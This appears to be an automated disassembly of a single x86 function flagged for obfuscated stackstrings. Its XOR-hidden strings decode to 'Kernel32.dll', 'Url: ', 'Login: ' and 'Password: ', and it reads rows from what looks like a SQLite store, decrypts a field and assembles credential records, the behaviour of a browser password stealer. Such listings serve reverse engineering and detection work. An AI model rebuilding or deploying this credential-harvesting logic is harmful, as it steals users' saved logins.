Function at 0x45a609
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x486fbb
call fcn.00486b34
sub esp, 0xe4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x14], edi
xor ebx, ebx
mov dword [ebp - 4], ebx
lea esi, [edi + 0xac]
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x45a639
mov eax, dword [esi]
lea ecx, [ebp - 0xd8]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
test eax, eax
jne 0x45a6b1
mov edi, esi
cmp dword [esi + 0x14], 0x10
jb 0x45a656
mov edi, dword [esi]
mov cl, 0x7a
mov dword [ebp - 0x36], 0x81f317a
mov dword [ebp - 0x32], 0x49161f14
mov dword [ebp - 0x2e], 0x161e5448
mov word [ebp - 0x2a], 0x16
mov eax, ebx
mov dword [ebp - 0x7c], eax
cmp eax, 0xc
jae 0x45a68a
xor byte [ebp + eax - 0x35], cl
inc eax
mov dword [ebp - 0x7c], eax
mov cl, byte [ebp - 0x36]
jmp 0x45a678
mov byte [ebp - 0x29], bl
lea eax, [ebp - 0x35]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x45a69f
mov eax, ebx
jmp 0x45a6ab
mov edx, 0x4940c4
mov ecx, eax
call fcn.00401390
push edi
call eax
mov edi, dword [ebp - 0x14]
push esi
push dword [ebp + 8]
call fcn.00401bbb
movaps xmm0, xmmword [str.n__:NDN___N]
movups xmmword [ebp - 0x56], xmm0
mov dword [ebp - 0x46], 0x70901
mov word [ebp - 0x42], 0x1d
mov ecx, ebx
mov dword [ebp - 0x80], ecx
cmp ecx, 0x14
jae 0x45a6e6
mov al, byte [ebp - 0x56]
xor byte [ebp + ecx - 0x55], al
inc ecx
jmp 0x45a6d4
mov byte [ebp - 0x41], bl
lea ecx, [edi + 0xac]
cmp dword [ecx + 0x14], 0x10
jb 0x45a6f7
mov ecx, dword [ecx]
push ebx
push 6
lea edx, [ebp - 0x74]
call fcn.004565f6
pop ecx
pop ecx
test eax, eax
jne 0x45aa8d
push ebx
lea eax, [ebp - 0x28]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x55]
push eax
push dword [ebp - 0x74]
call fcn.004404bf
add esp, 0x14
test eax, eax
jne 0x45aa8d
push 0x494070
lea ecx, [ebp - 0x58]
call fcn.00403ae8
mov esi, 0x49d300
push dword [ebp - 0x28]
call fcn.00420ada
pop ecx
cmp eax, 0x64
jne 0x45a998
mov byte [ebp - 4], 1
push 5
push dword [ebp - 0x28]
call fcn.00420eec
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00457e90
lea eax, [ebp - 0x40]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x2c], 0x10
jb 0x45a77a
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x30], 0
jne 0x45a786
test ebx, ebx
mov al, 1
je 0x45a788
mov al, bl
test al, al
jne 0x45a975
push 2
push esi
lea ecx, [ebp - 0x58]
call fcn.00403c55
mov cl, 0x69
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x1a], 0x3c
mov byte [ebp - 0x19], 0x1b
mov byte [ebp - 0x18], 5
mov byte [ebp - 0x17], 0x53
mov word [ebp - 0x16], 0x49
mov eax, ebx
mov dword [ebp - 0x84], eax
cmp eax, 5
jae 0x45a7d3
xor byte [ebp + eax - 0x1a], cl
inc eax
mov dword [ebp - 0x84], eax
mov cl, byte [ebp - 0x1b]
jmp 0x45a7be
mov byte [ebp - 0x15], bl
push esi
push ecx
push 1
push dword [ebp - 0x28]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0xc0]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x1a]
lea ecx, [ebp - 0xa8]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0xf0]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00403a2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
lea ecx, [ebp - 0xc0]
call fcn.00403b2e
mov cl, 0x2f
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x40
mov byte [ebp - 0x21], 0x48
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x41
mov byte [ebp - 0x1e], 0x15
mov word [ebp - 0x1d], 0xf
mov eax, ebx
mov dword [ebp - 0x88], eax
cmp eax, 7
jae 0x45a879
xor byte [ebp + eax - 0x23], cl
inc eax
mov dword [ebp - 0x88], eax
mov cl, byte [ebp - 0x24]
jmp 0x45a864
mov byte [ebp - 0x1c], bl
push esi
push ecx
push 3
push dword [ebp - 0x28]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0xf0]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x23]
lea ecx, [ebp - 0xa8]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00403a2e
lea ecx, [ebp - 0xc0]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
lea ecx, [ebp - 0xf0]
call fcn.00403b2e
mov cl, 0x44
mov byte [ebp - 0x64], cl
mov byte [ebp - 0x63], 0x14
mov byte [ebp - 0x62], 0x25
mov byte [ebp - 0x61], 0x37
mov byte [ebp - 0x60], 0x37
mov byte [ebp - 0x5f], 0x33
mov byte [ebp - 0x5e], 0x2b
mov byte [ebp - 0x5d], 0x36
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x7e
mov word [ebp - 0x5a], 0x64
mov eax, ebx
mov dword [ebp - 0x8c], eax
cmp eax, 0xa
jae 0x45a92b
xor byte [ebp + eax - 0x63], cl
inc eax
mov dword [ebp - 0x8c], eax
mov cl, byte [ebp - 0x64]
jmp 0x45a916
mov byte [ebp - 0x59], bl
push esi
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x63]
lea ecx, [ebp - 0xa8]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00403a2e
lea ecx, [ebp - 0xc0]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
inc dword [edi + 0xc4]
lea ecx, [ebp - 0x40]
call fcn.00403b2e
mov dword [ebp - 4], ebx
jmp 0x45a73c
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae eax, dword [ebp - 0x58]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x48], 0
jne 0x45a9b4
test ebx, ebx
je 0x45aa72
mov cl, 2
mov dword [ebp - 0x14], 0x222102
mov eax, ebx
mov dword [ebp - 0x90], eax
cmp eax, 2
jae 0x45a9da
xor byte [ebp + eax - 0x13], cl
inc eax
mov dword [ebp - 0x90], eax
mov cl, byte [ebp - 0x14]
jmp 0x45a9c5
mov byte [ebp - 0x11], bl
push 1
push dword [ebp + 8]
lea eax, [ebp - 0xa8]
push eax
call fcn.0045a0aa
mov esi, eax
lea eax, [ebp - 0x13]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00403ae8
push esi
mov ecx, eax
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x70]
call fcn.00403ab7
push 2
push 0x49d300
lea ecx, [ebp - 0x70]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x40]
call fcn.00403ab7
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push dword [ebp - 0x30]
push eax
push ecx
lea ecx, [ebp - 0x58]
call fcn.004041ae
lea ecx, [ebp - 0x40]
call fcn.00403b2e
lea ecx, [ebp - 0x70]
call fcn.00403b2e
lea ecx, [ebp - 0xc0]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
lea eax, [ebp - 0x58]
push eax
lea ecx, [edi + 0x64]
call fcn.00403a2e
push dword [ebp - 0x28]
call fcn.004202dd
pop ecx
xor edx, edx
mov ecx, dword [ebp - 0x74]
call fcn.0045512a
lea ecx, [ebp - 0x58]
call fcn.00403b2e
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4